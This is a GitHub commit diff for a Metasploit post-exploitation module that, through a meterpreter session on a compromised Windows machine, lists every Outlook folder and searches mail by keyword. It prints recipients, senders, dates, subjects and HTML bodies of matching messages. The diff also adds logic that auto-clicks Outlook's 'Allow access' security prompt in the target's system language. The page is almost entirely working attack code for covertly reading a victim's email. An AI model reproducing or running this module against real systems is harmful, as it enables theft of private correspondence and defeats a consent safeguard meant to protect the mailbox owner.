Skip to content

Commit 611e8c7

Browse files
committed
Add Windows post module for reading/searching Outlook e-mail #6
1 parent 5294594 commit 611e8c7

File tree

1 file changed

+49
-30
lines changed

1 file changed

+49
-30
lines changed

modules/post/windows/gather/outlook.rb

Lines changed: 49 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -23,31 +23,49 @@ def initialize(info={})
2323
'License' => MSF_LICENSE,
2424
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
2525
'Platform' => [ 'win' ],
26-
'Arch' => [ 'x86', 'x64' ],
27-
'SessionTypes' => [ 'meterpreter']
26+
'Arch' => [ 'x86', 'x64' ],
27+
'SessionTypes' => [ 'meterpreter'],
28+
'Actions' => [
29+
[ 'LIST', { 'Description' => 'Lists all folders' } ],
30+
[ 'SEARCH', { 'Description' => 'Searches for an email' } ]
31+
],
32+
'DefaultAction' => 'LIST'
2833
))
2934

3035
register_options(
3136
[
32-
OptBool.new('LIST_FOLDERS', [ true, ' List the available folders', true]),
3337
OptString.new('FOLDER', [ false, ' The e-mailfolder to read (e.g. Inbox)' ]),
3438
OptString.new('KEYWORD', [ false, ' Search e-mails by the keyword specified here' ]),
3539
OptString.new('A_TRANSLATION', [ false, ' Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
3640
OptString.new('ACF_TRANSLATION', [ false, ' Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]),
3741
], self.class)
3842
end
3943

40-
4144
def listBoxes
4245
# This function prints a listing of available mailbox folders
4346
psh_script = %Q|
44-
function List-Folder {
45-
Clear-host
46-
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
47-
$Outlook = New-Object -ComObject Outlook.Application
48-
$Namespace = $Outlook.GetNameSpace("MAPI")
49-
$NameSpace.Folders.Item(1).Folders \| FT FolderPath
47+
function GetSubfolders($root) {
48+
$folders = @()
49+
$folders += $root
50+
foreach ($folder in $root.Folders) {
51+
$folders += GetSubfolders($folder)
52+
}
53+
return $folders
5054
}
55+
function List-Folder {
56+
Clear-host
57+
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
58+
$Outlook = New-Object -ComObject Outlook.Application
59+
$Namespace = $Outlook.GetNameSpace("MAPI")
60+
$account = $NameSpace.Folders
61+
$folders = @()
62+
foreach ($acc in $account) {
63+
foreach ($folder in $acc.Folders) {
64+
$folders += GetSubfolders($folder)
65+
}
66+
}
67+
$folders \| FT FolderPath
68+
}
5169
List-Folder
5270
|
5371
utf16conv = Iconv.conv('UTF16LE', 'ASCII', psh_script)
@@ -58,6 +76,7 @@ def listBoxes
5876
listBoxes_res.channel.close
5977
listBoxes_res.close
6078
currentidle = session.ui.idle_time
79+
print("\n")
6180
print_status("System has currently been idle for #{currentidle} seconds")
6281
end
6382

@@ -72,14 +91,17 @@ def readEmails(folder,keyword,searchobject,atrans,acftrans)
7291
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
7392
$Outlook = New-Object -ComObject Outlook.Application
7493
$Namespace = $Outlook.GetNameSpace("MAPI")
75-
$NameSpace.Folders.Item(1)
94+
$account = $NameSpace.Folders
95+
$count = 0
7696
try {
77-
$Email = $NameSpace.Folders.Item(1).Folders.Item($Folder).Items
78-
$Email \| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'}
79-
Write-Host $Email
80-
} catch {
81-
Write-Host "The folder does not exist in the Outlook installation. Please fill in a correct foldername."
82-
}
97+
foreach ($acc in $account) {
98+
$count = $count+1
99+
$Email = $NameSpace.Folders.Item($count).Folders.Item($Folder).Items
100+
$Email \| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'} \| Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
101+
}
102+
} catch {
103+
Write-Host "The folder does not exist in the Outlook installation. Please fill in a correct foldername."
104+
}
83105
}
84106
Get-Emails "#{keyword}" "#{folder}" "#{searchobject}"
85107
|
@@ -110,29 +132,29 @@ def clickButton(atrans,acftrans)
110132

111133
def run
112134
# Main method
113-
list_folder = datastore['LIST_FOLDERS']
114135
folder = datastore['FOLDER']
115136
keyword = datastore['KEYWORD'].to_s
116137
object = "HTMLBody"
117138
allow = datastore['A_TRANSLATION']
118139
allow_access_for = datastore['ACF_TRANSLATION']
119-
langNotSupported = false
140+
langNotSupported = true
120141

121142
# OS language check
122143
sysLang = client.sys.config.sysinfo['System Language']
123-
if sysLang != "en_US" and sysLang != "NL"
124-
langNotSupported = true
125-
else
126-
atrans = A_HASH[sysLang]
127-
acftrans = ACF_HASH[sysLang]
144+
A_HASH.each do |key, val|
145+
if sysLang == key
146+
langNotSupported = false
147+
atrans = A_HASH[sysLang]
148+
acftrans = ACF_HASH[sysLang]
149+
end
128150
end
129151

130152
if allow and allow_access_for
131153
atrans = allow
132154
acftrans = allow_access_for
133155
else
134156
if langNotSupported == true
135-
print_error ("System language not supported, only English (en-US) and Dutch (NL) are supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
157+
print_error ("System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
136158
abort()
137159
end
138160
end
@@ -169,16 +191,13 @@ def run
169191
abort()
170192
end
171193

172-
if list_folder
194+
if action.name == "LIST"
173195
print_good('Available folders in the mailbox: ')
174196
listBoxes()
175-
else
176-
print_status('Not printing folders, LIST_FOLDERS disabled')
177197
end
178198

179-
if folder and folder != ""
199+
if action.name == "SEARCH"
180200
readEmails(folder,keyword,object,atrans,acftrans)
181201
end
182202
end
183203
end
184-

0 commit comments

Comments
 (0)